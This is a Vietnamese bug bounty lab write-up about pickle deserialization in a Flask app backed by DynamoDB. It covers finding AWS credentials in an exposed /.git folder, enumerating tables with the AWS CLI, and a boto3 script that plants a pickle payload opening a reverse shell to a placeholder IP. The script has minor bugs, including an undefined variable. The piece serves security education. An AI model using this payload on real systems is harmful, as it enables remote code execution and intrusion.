Python Deserialization on Integrated AWS DDB Flask App

Cách đây vài hôm mình có gặp một challenge hay ho khi làm Bug Bounty ở nền Cloud && Web. Tuy flow xử lý data không có gì là mới, nhưng việc application sử dụng AWS DynamoDB để lưu trữ serialized data làm bug này trở nên thú vị hơn nhiều.

Tiếp cận

  • Như thường lệ, một trong những việc mà đa số ai cũng làm khi tiếp cận 1 website đó là kiểm tra sự tồn tại của folder /.git.
  • Với trường hợp mình gặp cũng không ngoại lệ. .git được tải xuống và extract ra được file app.py với nội dung tương tự như sau (nội dung đã được mình chỉnh sửa để dựng lại lab thay vì sử dụng mã nguồn gốc)
  • Mình note nhanh là mấy bạn đừng có cố gắng soi cái Access Key với Secret Key làm gì vì mình dựng lại bug này trên Dynamo Local. Nó không xài được trên AWS Console như 1 IAM Cred thiệt đâu.
  • Đồng thời giao diện web như sau (mình cũng mode lại 1 Flask app khác để khác với submission thực tế, tuy nhiên đều cùng concept)
Main Page
Sub-endpoint
Customers endoint
  • Điểm lưu ý đầu tiên, nội dung của customers.html này có đoạn như sau
Name và Description được lấy từ 1 JSON object pass từ main controller (app.py)
  • Quay lại app.py, object data này được tạo ra như sau
  • Workflow có thể hiểu như sau: Khi page được loaded, JSON object được parsed từ array data (app.py). Data này được hình thành bằng việc Scan Items từ DynamoDB table, item sau đó được decode và pickle load, cuối cùng lưu vào array.
  • Điểm đáng chú ý thứ 2 là việc sử dụng Pickle để load data từ DynamoDB. Dẫn đến một hướng khai thác khả thi nhất để có thể RCE được đó là thay vì deserialize một item bình thường, bằng cách nào đó application sẽ deserialize payload reverse shell.
  • Đối với giải pháp như vậy, việc đầu tiên cần làm đó là compromise được DynamoDB table, sau đó ghi vào trường data một payload RCE bằng API put_item() từ AWS CLI. Example:

client.put_item(
TableName = TABLE_NAME,
Item={
‘data’: {‘S’: data},
‘Id’:{‘N’:1}}
)

  • Với việc AWS Credential bị exposed trong app.py, bước tiếp theo là xác định cấu trúc table. Một lưu ý đối với DynamoDB table là case-sensitive, có nghĩa là mọi item được ghi bằng code hay bằng AWS CLI đều phải chính xác từ chữ hoa đến chữ thường.

Exploit

  • Bước 1: Kiểm tra AWS creds có quyền đến những table nào

aws dynamodb list-tables — endpoint-url http://localhost:8000

  • Bước 2: Xác định cấu trúc Table customers

aws dynamodb scan — table-name customers — endpoint-url http://localhost:8000

  • Table được cấu thành bởi trường Id (Number) là Partition Key, và data (String) là serialized data.
  • Bước 3: Exploit

import boto3
import pickle
import os
import base64

class RCE:
def __reduce__(self):
command = “””
python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“<IP>”,<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
“””
return (os.system, (command,))

if __name__ == ‘__main__’:
pickled = pickle.dumps(RCE())
payload = base64.urlsafe_b64encode(sample1).decode(“utf-8”)
print (“Payload :”, payload)
client = boto3.client(
‘dynamodb’,
aws_access_key_id=”access_key”,
aws_secret_access_key=”secret_key”,
region_name=”us-east-1″,
endpoint_url=’http://127.0.0.1:8000′
)

client.put_item(
TableName=TABLE_NAME,
Item={
‘data’: {‘S’:payload},
‘Id’:{‘N’:1}}
)

  • Cuối cùng là reload lại endpoint để trigger insecure deserialization

Video

Good luck have fun!